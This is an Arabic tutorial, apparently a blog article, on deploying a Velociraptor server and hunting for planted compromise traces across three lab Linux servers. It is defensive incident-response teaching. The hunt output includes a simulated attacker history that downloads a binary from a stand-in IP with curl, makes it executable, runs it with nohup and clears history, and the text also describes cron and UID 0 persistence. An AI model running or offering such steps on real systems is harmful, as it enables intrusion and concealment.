> ## Content Index
> Fetch the complete content index at: https://arabroot.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# البحث عن آثار الاختراق Hunt في كل سيرفراتك مع Velociraptor
- URL: https://arabroot.io/articles/البحث-عن-اثار-الاختراق-في-كل-السيرفرات-مع-velociraptor/
- Published: 2026-10-25T18:38:36.000Z
- Updated: 2026-10-26T08:20:35.000Z
- Description: بنينا سيرفر Velociraptor وثلاثة عملاء وبحثنا عن آثار اختراق مزروعة بسبع عمليات Hunt، فظهر ما وجدته الأداة وما فاتها بإعداداتها الافتراضية.
- Author: فريق عرب رووت
- Tags: الأدلة التقنية, الأمن السيبراني, لينكس والسيرفرات, الاستضافة الذاتية, Velociraptor

وصلك تنبيه من الجدار الناري Firewall بأن أحد سيرفرات الويب اتصل بعنوان غريب في منتصف الليل، وفتحت السيرفر فوجدت برنامجاً باسم يشبه برامج النظام يعمل من مجلد مؤقت. السؤال الأول هنا ليس «كيف أنظف هذا السيرفر؟» وإنما «هل يوجد الشيء نفسه على بقية السيرفرات؟»، لأن المخترق الذي دخل سيرفراً واحداً نادراً ما يكتفي به. وفي دليل [أدوات التحقيق الرقمي مفتوحة المصدر](https://arabroot.io/articles/%D8%A7%D8%AF%D9%88%D8%A7%D8%AA-%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1/) شغلنا Velociraptor في وضع التجربة السريعة على جهاز واحد، وجمعنا قائمة البرامج العاملة منه، وفي هذا المقال سوف نذهب أبعد من ذلك، فنبني سيرفر Velociraptor حقيقياً بإعداد خاص به ومستخدم بكلمة مرور، ونربط به ثلاثة سيرفرات Linux، ونزرع على أحدها آثار اختراق معروفة، ثم نبحث عنها في كل السيرفرات مرة واحدة بعمليات بحث Hunts حقيقية، ونرى ما وجدته الأداة وما فاتها بإعداداتها الافتراضية.

📚

المواضيع في السلسلة: (1) التحقيق الرقمي والاستجابة للحوادث DFIR للمبتدئين. (2) أدوات التحقيق الرقمي مفتوحة المصدر. (3) البحث عن آثار الاختراق في كل السيرفرات مع Velociraptor (الموضوع الحالي). (4) تحليل الذاكرة Memory Forensics مع Volatility 3\. (5) الخط الزمني للحادث Timeline مع Plaso وTimesketch. (6) فحص سيرفر Linux مخترق دون أن تفسد الأدلة.

[![](https://arabroot.io/content/images/2026/10/dfir-basics-cover-cover.webp)دليلالتحقيق الرقمي DFIR للمبتدئين: احفظ الأدلة قبل أن تنظف السيرفرماذا تفعل عندما تشك أن سيرفرك مخترق، ولماذا تمسح إعادة التشغيل والتنظيف الأدلة التي تحتاجها لتعرف ما حدث.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/)[![](https://arabroot.io/content/images/2026/10/forensics-tools-cover-cover.webp)دليلأدوات التحقيق الرقمي مفتوحة المصدر وكيف تستخدمهاالأدوات المفتوحة التي تحتاجها في كل مرحلة من التحقيق الرقمي، من نسخ القرص واسترجاع ملف محذوف إلى بناء خط زمني لما حدث.](https://arabroot.io/articles/%D8%A7%D8%AF%D9%88%D8%A7%D8%AA-%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1/)

وسوف نتناول في هذا المقال ما يلي:

- متى تحتاج Velociraptor ومتى تكفيك أداة جمع على سيرفر واحد.
- تثبيت السيرفر بإعداد مولد Generated Config ومستخدم للمحلل وحساب API للأتمتة Automation.
- ربط العملاء Clients وما الذي يحدث عند أول اتصال.
- سبع عمليات بحث Hunts على ثلاثة سيرفرات: البرامج العاملة، والمهام المجدولة Cron، ومفاتيح SSH، والحسابات، وسجل الأوامر، وقاعدة YARA لملفات Web Shell.
- طريقة التجميع Stacking التي تجعل الشيء النادر يظهر من بين آلاف الصفوف.
- نتيجتان فارغتان كانتا خاطئتين بسبب الإعدادات الافتراضية، وكيف تكتشف ذلك.
- جمع الملف المشبوه في ملف ZIP مع الهاش، وأثر الفحص نفسه على أوقات الملفات.
- الموارد التي استهلكها المختبر Lab، والرخصة، والبديل التجاري وسعره.

## متى تحتاج Velociraptor؟

إذا كان عندك سيرفر واحد أو اثنان فأداة جمع مثل UAC تكفيك، تشغلها على السيرفر فتجمع ما تحتاجه في ملف مضغوط، وقد شرحناها في دليل الأدوات. ولكن عندما يصبح السؤال «أي سيرفر من الثلاثين عنده هذا الملف؟» أو «على أي جهاز يعمل برنامج من مجلد `/tmp`؟» فتشغيل سكربت يدوياً على كل جهاز غير مناسب إطلاقاً، والسبب أنك سوف تنسى جهازاً، وتجمع النتائج من أماكن متفرقة، ولن تعرف أي جهاز لم يرد. وهنا يأتي دور أدوات الاستجابة على نطاق واسع، وفكرتها أن يكون على كل جهاز عميل صغير يتصل دائماً بسيرفر مركزي، فإذا أردت أن تسأل سؤالاً كتبته مرة واحدة على السيرفر فيصل إلى كل العملاء وتعود الإجابات إلى جدول واحد.

وVelociraptor من [Velocidex](https://docs.velociraptor.app/?ref=arabroot.io) هو الأشهر بين الأدوات المفتوحة في هذا المجال، وفيه ثلاثة مفاهيم سوف تتكرر في المقال:

- **لغة VQL:** لغة استعلام تشبه SQL، ولكنها تسأل الجهاز نفسه وليس قاعدة بيانات، فـ `SELECT * FROM pslist()` تعرض البرامج العاملة، والتفصيل في [توثيق VQL](https://docs.velociraptor.app/docs/vql/?ref=arabroot.io).
- **الـ Artifact:** ملف YAML فيه استعلام VQL جاهز مع معاملات Parameters يمكنك تغييرها، مثل `Linux.Sys.Crontab` الذي يقرأ ملفات Cron. وفي النسخة التي استخدمناها 441 Artifact مدمجة.
- **عملية البحث Hunt:** تشغيل Artifact واحد أو أكثر على كل العملاء، أو على مجموعة منهم بالعلامات Labels، والعملاء الذين يتصلون لاحقاً ينفذونها أيضاً حتى ينتهي وقتها Expiry. والتفصيل في [دليل الـ Hunting](https://docs.velociraptor.app/docs/hunting/?ref=arabroot.io).

## المختبر: سيرفر وثلاثة عملاء

بنينا المختبر من أربع Containers على شبكة Docker خاصة، كلها من `debian:trixie-slim` (Debian 13.7): السيرفر `vr-server`، وسيرفران للويب `web01` و`web02`، وسيرفر قاعدة بيانات `db01`. والصورة التالية تبين المختبر:

![سيرفر Velociraptor في الأعلى وثلاثة سيرفرات Linux في الأسفل تتصل به، والمحلل ينشئ عملية بحث واحدة تصل للجميع](https://arabroot.io/content/images/2026/10/velociraptor-lab-01-lab.webp)

كل عميل هو الذي يفتح الاتصال إلى السيرفر، والمحلل يكتب السؤال مرة واحدة

وعلى `web01` وحده زرعنا آثار اختراق معروفة تشبه ما تجده في حوادث حقيقية لسيرفرات Linux، وهي كما يلي:

- نسخة من البرنامج `/usr/bin/sleep` باسم `kworkerd` في المجلد المخفي `/var/tmp/.cache`، تعمل في الخلفية. والاسم مختار ليشبه خيوط النواة kworker التي تراها في أي سيرفر.
- مهمة مجدولة في `/etc/cron.d/sysupdate` تعيد تشغيل البرنامج كل عشر دقائق، وهذا ما يسمى الاستمرار Persistence.
- مفتاح SSH إضافي في `/root/.ssh/authorized_keys` بتعليق `root@kali`.
- حساب ثان باسم `sysbackup` رقمه UID 0، أي أنه root باسم آخر.
- ملف PHP صغير في مجلد الرفع `/var/www/html/uploads/avatar.php` ينفذ أي أمر يصله في الطلب، وهو ما يسمى Web Shell.
- أوامر المخترق في `/root/.bash_history`، وآخرها `history -c`.

أما `web02` و`db01` فعليهما ملفات طبيعية من النوع نفسه، مهمة Cron لـ logrotate ومهمة نسخ احتياطي لقاعدة البيانات، ومفتاح SSH الخاص بالنشر نفسه الموجود على كل السيرفرات، وملف `index.php` عادي، والسبب أن البحث الجيد يجب أن يفرق بين الطبيعي والغريب، وليس أن يجد شيئاً على سيرفر فارغ.

⚠️

البرنامج المزروع نسخة من `sleep` لا تفعل شيئاً، وملف PHP لا يعمل لأن السيرفر لا يشغل PHP أصلاً، وعنوان التنزيل في سجل الأوامر من نطاق التوثيق 198.51.100.0/24 الذي لا يوجد على الإنترنت. وتشغيل Velociraptor على أجهزة الموظفين أو سيرفرات الشركة يحتاج موافقة مكتوبة من الإدارة وتحديداً لما سوف يجمع، لأنه يقرأ الملفات وسجل الأوامر على كل جهاز.

## تثبيت السيرفر بإعداد حقيقي

Velociraptor ملف تنفيذي واحد يعمل سيرفراً وعميلاً وأداة سطر أوامر، ورخصته [AGPL-3.0](https://github.com/Velocidex/velociraptor/blob/master/LICENSE?ref=arabroot.io)، وآخر إصدار له [v0.77.3](https://github.com/Velocidex/velociraptor/releases/tag/v0.77.3?ref=arabroot.io) في 5 أكتوبر 2026، وآخر تعديل على الكود كان في 23 أكتوبر 2026، أي أن المشروع نشط. نزلنا نسخة Linux المبنية مع musl لأنها لا تعتمد على مكتبات النظام، وحسبنا الهاش وكتبناه في ملاحظات القضية:

```bash
curl -LO https://github.com/Velocidex/velociraptor/releases/download/v0.77.3/velociraptor-v0.77.3-linux-amd64-musl.gz
gunzip velociraptor-v0.77.3-linux-amd64-musl.gz
sha256sum velociraptor-v0.77.3-linux-amd64-musl
install -m 755 velociraptor-v0.77.3-linux-amd64-musl /usr/local/bin/velociraptor
velociraptor version
```

والمخرج سوف يكون كما يلي:

```text
93171158fa081c07e3dd6b2cfc194f1a1db3eb30861639ad16eae6092afa42f7  velociraptor-v0.77.3-linux-amd64-musl
name: velociraptor
version: 0.77.3
commit: 7d287b0b9
build_time: "2026-10-04T10:06:46Z"
compiler: go1.27.1
system: linux
architecture: amd64
```

حجم الملف 75 MiB تقريباً، وهو الملف نفسه الذي سوف تضعه على السيرفر وعلى كل عميل. ولاحظ أن صفحة الإصدار تنشر بجانب كل ملف توقيعاً بامتداد `.sig`، فإذا كانت سياسة مؤسستك تطلب التحقق من التوقيع فهو موجود هناك.

### توليد ملف الإعداد

في دليل الأدوات استخدمنا الأمر `velociraptor gui` الذي ينشئ كل شيء وحده بكلمة مرور معروفة، وهذا مناسب للتعلم فقط. والطريقة الصحيحة هي `config generate` الذي ينشئ شهادة جهة إصدار CA خاصة بسيرفرك ومفاتيح التشفير وكل الإعدادات في ملف واحد. ويمكنك أن تجيب على أسئلة تفاعلية بالخيار `-i`، أو أن تعطيه التعديلات مباشرة بالخيار `--merge` كما فعلنا هنا:

```bash
mkdir -p /vr && cd /vr
velociraptor config generate --merge '{
  "Client":    {"server_urls": ["https://vr-server:8000/"]},
  "Frontend":  {"hostname": "vr-server"},
  "GUI":       {"bind_address": "0.0.0.0"},
  "Datastore": {"location": "/vr/datastore", "filestore_directory": "/vr/datastore"},
  "Logging":   {"output_directory": "/vr/logs", "separate_logs_per_component": true}
}' > server.config.yaml
```

في الإعداد أعلاه لاحظ التالي:

- `Client.server_urls` هو العنوان الذي سوف يتصل به العملاء، فاكتب فيه اسماً يصل إليه كل جهاز عندك. وإذا كتبت `Frontend.hostname` وحده فسوف يبقى العنوان في ملف العميل `https://localhost:8000/`، وهذا يعني أن كل عميل سوف يحاول الاتصال بنفسه، فتأكد من هذا السطر قبل أن توزع ملف العميل.
- المنفذ 8000 للعملاء، و8889 لواجهة المحلل، و8001 لواجهة الـ API، و8003 لمراقبة Prometheus، وهذه القيم الافتراضية كما ظهرت في الملف المولد. والـ API والمراقبة تبقيان على 127.0.0.1 افتراضياً.
- جعلنا الواجهة تستمع على كل العناوين لأنها داخل Container، ثم نشرنا المنفذ على الجهاز المضيف على 127.0.0.1 فقط. وفي التشغيل الحقيقي لا تقم بتعريض المنفذ 8889 على الإنترنت، والسبب أن من يدخل هذه الواجهة يستطيع أن ينفذ أوامر على كل الأجهزة.
- مجلد الـ Datastore فيه كل النتائج والملفات المجموعة، فضعه على قرص فيه مساحة كافية، وخذ له نسخة احتياطية مع ملف الإعداد.

🛑

الملف `server.config.yaml` فيه المفتاح الخاص بجهة الإصدار CA ومفتاح السيرفر، ومن يحصل عليه يستطيع أن ينتحل السيرفر أمام كل العملاء. احفظه بصلاحية 600 للمستخدم الذي يشغل الخدمة فقط، ولا تضعه في Git، وخذ له نسخة احتياطية مشفرة، فبدونه لن يثق بك أي عميل بعد إعادة التثبيت.

### مستخدم للمحلل وحساب للأتمتة

أنشأنا مستخدماً للمحلل بكلمة مرور عشوائية، وملف API باسم `automation` سوف نستخدمه لإرسال الاستعلامات من سطر الأوامر، ثم شغلنا السيرفر:

```bash
PW=$(openssl rand -hex 12)
velociraptor --config server.config.yaml user add analyst "$PW" --role administrator
velociraptor --config server.config.yaml config api_client --name automation --role administrator api.config.yaml
velociraptor --config server.config.yaml frontend -v
```

وفي سجل التشغيل سوف ترى ما يلي:

```text
[INFO] 2026-10-25T19:01:37Z GUI will use the Basic authenticator
[INFO] 2026-10-25T19:01:37Z GUI is ready to handle TLS requests on https://vr-server:8889/
[INFO] 2026-10-25T19:01:37Z Frontend is ready to handle client TLS requests at https://vr-server:8000/
```

لاحظ أن الأمر `user add` يطبع تنبيهاً بأنه يعدل الـ Datastore مباشرة، وأن السيرفر العامل قد لا يرى التغيير حتى تعيد تشغيله، فأضف المستخدمين قبل التشغيل، أو من الواجهة أو الـ API بعده، وإذا غيرت كلمة مرور بهذا الأمر والسيرفر يعمل فأعد تشغيله ثم تأكد أن كلمة المرور القديمة لم تعد تقبل.

والدخول هنا بطريقة Basic، أي اسم وكلمة مرور يحفظهما Velociraptor نفسه، وهذا يكفي للمختبر. وفي المؤسسة اربط الواجهة بمزود الهوية عندك عبر OIDC حتى يمر الدخول بالتحقق متعدد العوامل MFA وتلغى الصلاحية تلقائياً عند خروج الموظف، والخيارات في [صفحة تأمين النشر](https://docs.velociraptor.app/docs/deployment/security/?ref=arabroot.io). وحساب Velociraptor بصلاحية administrator من أخطر الحسابات المميزة عندك، فعامله كما شرحنا في دليل [إدارة الهوية والوصول المميز IAM وPAM](https://arabroot.io/articles/%D8%A7%D8%AF%D8%A7%D8%B1%D8%A9-%D8%A7%D9%84%D9%87%D9%88%D9%8A%D8%A9-%D9%88%D8%A7%D9%84%D9%88%D8%B5%D9%88%D9%84-iam-%D9%88%D8%A7%D9%84%D9%88%D8%B5%D9%88%D9%84-%D8%A7%D9%84%D9%85%D9%85%D9%8A%D8%B2-pam/).

## ربط العملاء Clients

ملف العميل يستخرج من ملف السيرفر، وفيه عنوان السيرفر وشهادة جهة الإصدار فقط، وليس فيه أي مفتاح خاص:

```bash
velociraptor --config server.config.yaml config client > client.config.yaml
```

ثم وضعنا الملف التنفيذي نفسه وملف العميل على كل سيرفر، وشغلنا العميل:

```bash
install -m 755 velociraptor /usr/local/bin/velociraptor
mkdir -p /etc/velociraptor && cp client.config.yaml /etc/velociraptor/
velociraptor --config /etc/velociraptor/client.config.yaml client -v
```

وفي سجل العميل `web01` ظهر الاتصال الأول ثم التسجيل Enrolment:

```text
[INFO] 2026-10-25T19:17:58Z Receiver C.b4e7b9f54df00639: Connected to https://vr-server:8000/reader after waiting for limiter for 5.201µs
[INFO] 2026-10-25T19:17:58Z Enrolling
```

كل عميل ينشئ عند أول تشغيل مفتاحاً خاصاً به ويحفظه في ملف يسمى Writeback، ومنه يأتي رقم العميل الثابت مثل `C.b4e7b9f54df00639`. وهذا يعني أنك إذا نسخت جهازاً افتراضياً من قالب Template فيه عميل سبق تشغيله، فسوف تحصل على عدة أجهزة برقم واحد، فاحذف ملف الـ Writeback من القالب قبل نسخه. وفي التشغيل الحقيقي لا تشغل العميل بيدك كما فعلنا، وإنما كخدمة Service، والتوثيق يشرح بناء حزم deb وrpm وMSI جاهزة في [صفحة النشر](https://docs.velociraptor.app/docs/deployment/?ref=arabroot.io).

بعدها سألنا السيرفر من الـ API عن العملاء المتصلين:

```bash
velociraptor --api_config api.config.yaml query \
  "SELECT client_id, os_info.hostname AS hostname, os_info.release AS os,
          agent_information.version AS version FROM clients() ORDER BY hostname" --format text
```

```text
+--------------------+----------+------------+---------+
|     client_id      | hostname |     os     | version |
+--------------------+----------+------------+---------+
| C.bae233c25edc9dd7 | db01     | debian13.7 | 0.77.3  |
| C.b4e7b9f54df00639 | web01    | debian13.7 | 0.77.3  |
| C.7004fcc075b87665 | web02    | debian13.7 | 0.77.3  |
+--------------------+----------+------------+---------+
```

## سبع عمليات بحث على ثلاثة سيرفرات

يمكنك أن تنشئ الـ Hunt من الواجهة بالزر + في صفحة Hunt Manager، ولكننا أنشأناها من الـ API بالدالة [hunt()](https://docs.velociraptor.app/vql%5Freference/server/hunt/?ref=arabroot.io)، والسبب أن الأوامر تبقى مكتوبة في ملاحظات القضية بالضبط كما نفذت، ويمكن تكرارها في الحادثة القادمة. وأعطينا كل Hunt وصفاً يبدأ برقم القضية IR-2026-014 حتى نجدها لاحقاً، ومدة صلاحية 24 ساعة:

```bash
Q() { velociraptor --api_config api.config.yaml query "$1" --format csv | tail -n +2; }

Q 'SELECT hunt(description="IR-2026-014 processes", artifacts="Linux.Sys.Pslist", expires=now()+86400).HuntId FROM scope()'
Q 'SELECT hunt(description="IR-2026-014 cron", artifacts="Linux.Sys.Crontab", expires=now()+86400).HuntId FROM scope()'
Q 'SELECT hunt(description="IR-2026-014 ssh keys (default glob)", artifacts="Linux.Ssh.AuthorizedKeys", expires=now()+86400).HuntId FROM scope()'
Q 'SELECT hunt(description="IR-2026-014 ssh keys (root too)", artifacts="Linux.Ssh.AuthorizedKeys",
     spec=dict(`Linux.Ssh.AuthorizedKeys`=dict(sshKeyFilesGlob="/{root,home/*}/.ssh/authorized_keys*")),
     expires=now()+86400).HuntId FROM scope()'
Q 'SELECT hunt(description="IR-2026-014 users", artifacts="Linux.Sys.Users", expires=now()+86400).HuntId FROM scope()'
Q 'SELECT hunt(description="IR-2026-014 bash history", artifacts="Linux.Sys.BashHistory", expires=now()+86400).HuntId FROM scope()'
Q 'LET rule <= read_file(filename="/vr/webshell.yar")
   SELECT hunt(description="IR-2026-014 webshell yara", artifacts="Linux.Detection.Yara.Glob",
     spec=dict(`Linux.Detection.Yara.Glob`=dict(PathGlob="/var/www/**", YaraRule=rule)),
     expires=now()+86400).HuntId FROM scope()'
```

وبعد عشرين ثانية تقريباً كانت كل العمليات قد انتهت على كل العملاء:

```text
+-----------------+--------------------------------+-----------+------+
|     hunt_id     |        hunt_description        | scheduled | done |
+-----------------+--------------------------------+-----------+------+
| H.DBF5C5PG6MKF6 | IR-2026-014 processes          |         3 |    3 |
| H.DBF5C6BU3LVDI | IR-2026-014 cron               |         3 |    3 |
| H.DBF5C6SLHTI6I | IR-2026-014 ssh keys (default  |         3 |    3 |
|                 | glob)                          |           |      |
| H.DBF5C72BURV7S | IR-2026-014 ssh keys (root too |         3 |    3 |
|                 | )                              |           |      |
| H.DBF5C7IFLJL1M | IR-2026-014 users              |         3 |    3 |
| H.DBF5C7T4VVFU6 | IR-2026-014 bash history       |         3 |    3 |
| H.DBF5C8D2BPE6U | IR-2026-014 webshell yara      |         3 |    3 |
+-----------------+--------------------------------+-----------+------+
```

ومدة التنفيذ على كل عميل كانت أقل من ثلث ثانية لكل الـ Artifacts، ما عدا قائمة البرامج `Linux.Sys.Pslist` التي استغرقت بين 1.95 و2.30 ثانية لأنها تحسب الهاش لملف كل برنامج عامل. والنتائج تقرأها من الواجهة أو من الـ API بالدالة [hunt\_results()](https://docs.velociraptor.app/vql%5Freference/server/hunt%5Fresults/?ref=arabroot.io)، والصورة التالية تبين صفحة الـ Hunt في الواجهة:

![صفحة Hunt Manager في Velociraptor وفيها عملية البحث بقاعدة YARA مع عدد العملاء والصفوف](https://arabroot.io/content/images/2026/10/velociraptor-lab-03-hunt-overview.webp)

صفحة الـ Hunt: ثلاثة عملاء أنهوا العمل، وصف واحد فقط في النتائج

### البرامج العاملة والتجميع Stacking

قائمة البرامج من ثلاثة سيرفرات صغيرة قصيرة، ولكن على مئة سيرفر حقيقي سوف تكون آلاف الصفوف، ولن تقرأها صفاً صفاً. والطريقة الأولى أن تبحث عن صفة تعرف أنها مشبوهة، مثل برنامج يعمل من مجلد مؤقت:

```sql
SELECT Fqdn AS Host, Pid, Name, Exe, CommandLine
FROM hunt_results(hunt_id="H.DBF5C5PG6MKF6", artifact="Linux.Sys.Pslist")
WHERE Exe =~ "^/(tmp|var/tmp|dev/shm)/"
```

```text
+-------+-----+----------+--------------------------+-------------------------+
| Host  | Pid |   Name   |           Exe            |       CommandLine       |
+-------+-----+----------+--------------------------+-------------------------+
| web01 |  33 | kworkerd | /var/tmp/.cache/kworkerd | ./.cache/kworkerd 86400 |
+-------+-----+----------+--------------------------+-------------------------+
```

والطريقة الثانية لا تحتاج أن تعرف ما تبحث عنه، وهي التجميع Stacking، أي أن تجمع الصفوف حسب قيمة معينة وتعد كم سيرفراً تظهر عليه، والفكرة أن السيرفرات المتشابهة تشغل البرامج نفسها، فالذي يظهر على سيرفر واحد فقط يستحق النظر:

```sql
SELECT Exe, Hash.SHA256 AS SHA256, count() AS Hosts
FROM hunt_results(hunt_id="H.DBF5C5PG6MKF6", artifact="Linux.Sys.Pslist")
GROUP BY Exe ORDER BY Hosts
```

```text
+-----------------------------+------------------------------------------+-------+
|             Exe             |                  SHA256                  | Hosts |
+-----------------------------+------------------------------------------+-------+
|                             | e3b0c44298fc1c149afbf4c8996fb92427ae41e4 |     1 |
|                             | 649b934ca495991b7852b855                 |       |
| /var/tmp/.cache/kworkerd    | 0637e6d47579929cb72efa46f361861b319d62c6 |     1 |
|                             | 2fe8a9d10731fd7655eb5936                 |       |
| /usr/bin/sleep              | 0637e6d47579929cb72efa46f361861b319d62c6 |     3 |
|                             | 2fe8a9d10731fd7655eb5936                 |       |
| /usr/local/bin/velociraptor | 93171158fa081c07e3dd6b2cfc194f1a1db3eb30 |     3 |
|                             | 861639ad16eae6092afa42f7                 |       |
+-----------------------------+------------------------------------------+-------+
```

في المخرج أعلاه لاحظ التالي:

- الصف `kworkerd` ظهر على سيرفر واحد، وهذا ما جعله في أعلى الجدول.
- الهاش SHA-256 للبرنامج المشبوه مطابق تماماً لهاش `/usr/bin/sleep`، لأنه نسخة منه. ولو بحثت عن الهاش في قوائم البرامج الخبيثة لما وجدت شيئاً، ولو أخذت الهاش وحده لحكمت بأنه برنامج نظام سليم. والمخترقون يفعلون هذا كثيراً، فينسخون أدوات النظام نفسها مثل `curl` و`nc` و`socat` بأسماء أخرى، فالمسار والاسم والأب هنا أهم من الهاش.
- الصف الأول بلا مسار وهاشه `e3b0c442…` هو هاش الملف الفارغ، وهو برنامج انتهى ولم يجمع أبوه حالته Zombie، فليس له ملف تنفيذي يقرأ. ولا تقم بتجاهل الصفوف الفارغة دائماً، ولكن اعرف سببها قبل أن تقرر.

### المهام المجدولة Cron

البرنامج الذي يعمل الآن قد ينتهي، أما طريقة الاستمرار فهي ما يعيده بعد إعادة التشغيل، ولذلك سألنا عن ملفات Cron:

```sql
SELECT Fqdn AS Host, Minute, Hour, User, Command, Path
FROM hunt_results(hunt_id="H.DBF5C6BU3LVDI", artifact="Linux.Sys.Crontab", source="CronTabs")
ORDER BY Host
```

```text
+-------+--------+------+----------+----------------------+----------------------+
| Host  | Minute | Hour |   User   |       Command        |         Path         |
+-------+--------+------+----------+----------------------+----------------------+
| db01  |     30 |    2 | postgres | /usr/local/bin/pg_ba | /etc/cron.d/pg-backu |
|       |        |      |          | ckup.sh              | p                    |
| web01 | */10   | *    | root     | /var/tmp/.cache/kwor | /etc/cron.d/sysupdat |
|       |        |      |          | kerd 86400 >/dev/nul | e                    |
|       |        |      |          | l 2>&1               |                      |
| web02 |      0 |    3 | root     | /usr/sbin/logrotate  | /etc/cron.d/logrotat |
|       |        |      |          | /etc/logrotate.conf  | e                    |
+-------+--------+------+----------+----------------------+----------------------+
```

هنا ثلاث مهام على ثلاثة سيرفرات، والفرق بينها واضح عندما تراها معاً: مهمتان تعملان مرة في الليل وتشغلان برامج من مسارات النظام، ومهمة تعمل كل عشر دقائق بصلاحية root وتشغل برنامجاً من `/var/tmp` وترمي مخرجه في `/dev/null` حتى لا يرى أحد أي رسالة. ولاحظ أن الـ Artifact نفسه له مصادر Sources أخرى، منها ملفات `/etc/cron.daily` وأخواتها، ولذلك حددنا `source="CronTabs"`.

وCron ليس الطريقة الوحيدة للاستمرار، فهناك خدمات systemd ومؤقتاتها Timers، وملفات Shell مثل `.bashrc`، ومفاتيح SSH التي سوف نراها الآن، وفي إطار [MITRE ATT&CK](https://attack.mitre.org/tactics/TA0003/?ref=arabroot.io) قائمة كاملة بطرق الاستمرار Persistence، ولكل منها Artifact أو استعلام في Velociraptor، مثل `Linux.Sys.Services`.

### مفاتيح SSH: النتيجة الفارغة التي كانت خاطئة

شغلنا `Linux.Ssh.AuthorizedKeys` بإعداده الافتراضي على السيرفرات الثلاثة، فكانت النتيجة صفر صفوف على كل السيرفرات. وقد تفرح بهذه النتيجة وتكتب في التقرير «لا توجد مفاتيح SSH غريبة»، وهذا خطأ، فعند قراءة معاملات الـ Artifact في [صفحته في التوثيق](https://docs.velociraptor.app/artifact%5Freferences/pages/linux.ssh.authorizedkeys/?ref=arabroot.io) تجد أن المسار الافتراضي هو `/home/*/.ssh/authorized_keys*`، أي مجلدات المستخدمين فقط، وليس فيه `/root`، وهو أول مكان يضع فيه المخترق مفتاحه على سيرفر دخله بصلاحية root. ولذلك أعدنا البحث بالمعامل `sshKeyFilesGlob="/{root,home/*}/.ssh/authorized_keys*"` وجمعنا النتائج حسب المفتاح:

```sql
SELECT keytype, comment, count() AS Hosts, join(array=enumerate(items=Fqdn), sep=",") AS HostList
FROM hunt_results(hunt_id="H.DBF5C72BURV7S", artifact="Linux.Ssh.AuthorizedKeys")
GROUP BY base64key
```

```text
+-------------+--------------+-------+------------------+
|   keytype   |   comment    | Hosts |     HostList     |
+-------------+--------------+-------+------------------+
| ssh-ed25519 | deploy@web01 |     3 | db01,web01,web02 |
| ssh-ed25519 | root@kali    |     1 | web01            |
+-------------+--------------+-------+------------------+
```

وهنا يظهر التجميع مرة أخرى: مفتاح النشر على السيرفرات الثلاثة، ومفتاح آخر على سيرفر واحد. ولاحظ أننا جمعنا حسب المفتاح نفسه `base64key` وليس حسب التعليق، والسبب أن التعليق نص حر يكتبه صاحب المفتاح، والمخترق الذكي يكتب فيه `deploy@web01` وليس `root@kali`.

⚠️

النتيجة الفارغة في عملية البحث لا تعني أن الجهاز سليم، وإنما تعني أن الاستعلام لم يجد شيئاً في المكان الذي بحث فيه. فقبل أن تكتب «لا يوجد» في تقرير، افتح معاملات الـ Artifact واقرأ المسارات التي يبحث فيها، وجربه مرة على جهاز تعرف أن عليه ما تبحث عنه.

### حسابات بصلاحية root

Artifact الحسابات `Linux.Sys.Users` يقرأ `/etc/passwd`، فسألنا عن كل حساب رقمه UID 0:

```sql
SELECT Fqdn AS Host, User, Uid, Gid, Homedir, Shell
FROM hunt_results(hunt_id="H.DBF5C7IFLJL1M", artifact="Linux.Sys.Users")
WHERE Uid = "0"
```

```text
+-------+-----------+-----+-----+---------+-----------+
| Host  |   User    | Uid | Gid | Homedir |   Shell   |
+-------+-----------+-----+-----+---------+-----------+
| web01 | root      |   0 |   0 | /root   | /bin/bash |
| web01 | sysbackup |   0 |   0 | /root   | /bin/bash |
| web02 | root      |   0 |   0 | /root   | /bin/bash |
| db01  | root      |   0 |   0 | /root   | /bin/bash |
+-------+-----------+-----+-----+---------+-----------+
```

وهنا درس صغير في VQL: كتبنا الشرط أولاً `WHERE Uid = 0` بالرقم فرجع الجدول فارغاً، لأن الـ Artifact يعيد الرقم نصاً كما هو في الملف، فلما كتبناه `"0"` ظهرت الصفوف الأربعة. وهذه نتيجة فارغة ثانية كانت خاطئة، وسببها هذه المرة نوع البيانات وليس المسار، فإذا أعطاك شرط بسيط صفر صفوف فاعرض صفاً واحداً من النتائج كاملاً وانظر إلى شكل القيمة.

والحساب `sysbackup` لا يحتاج شرحاً، فلا يوجد سبب لحساب ثان برقم 0 على سيرفر ويب، والمخترق يضيفه حتى يبقى له دخول إذا غيرت كلمة مرور root.

### سجل الأوامر

```sql
SELECT Fqdn AS Host, OSPath, Line
FROM hunt_results(hunt_id="H.DBF5C7T4VVFU6", artifact="Linux.Sys.BashHistory")
```

```text
+-------+---------------------+------------------------------------------+
| Host  |       OSPath        |                   Line                   |
+-------+---------------------+------------------------------------------+
| web01 | /root/.bash_history | cd /var/tmp                              |
| web01 | /root/.bash_history | curl -s http://198.51.100.23/k -o .cache |
|       |                     | /kworkerd                                |
| web01 | /root/.bash_history | chmod +x .cache/kworkerd                 |
| web01 | /root/.bash_history | nohup ./.cache/kworkerd 86400 &          |
| web01 | /root/.bash_history | history -c                               |
+-------+---------------------+------------------------------------------+
```

الأمر `history -c` يمسح السجل من ذاكرة الـ Shell الحالية فقط، ولا يمسح الملف الذي كتب فيه قبل ذلك، ولذلك بقيت الأوامر. ولكن لا تعتمد على هذا، فالمخترق الأكثر خبرة يحذف الملف أو يوقف السجل قبل أن يبدأ، وعندها قد تجد أوامره في ذاكرة الجهاز، وهذا موضوع المقال القادم عن تحليل الذاكرة. والمهم هنا أن السجل أعطاك عنواناً للتنزيل 198.51.100.23، وهذا مؤشر اختراق IOC جديد تبحث عنه في سجلات الجدار الناري والـ Proxy عندك، وفي سجلات بقية السيرفرات بـ Artifact مثل `Linux.Sys.LogGrep`.

### قاعدة YARA لملفات Web Shell

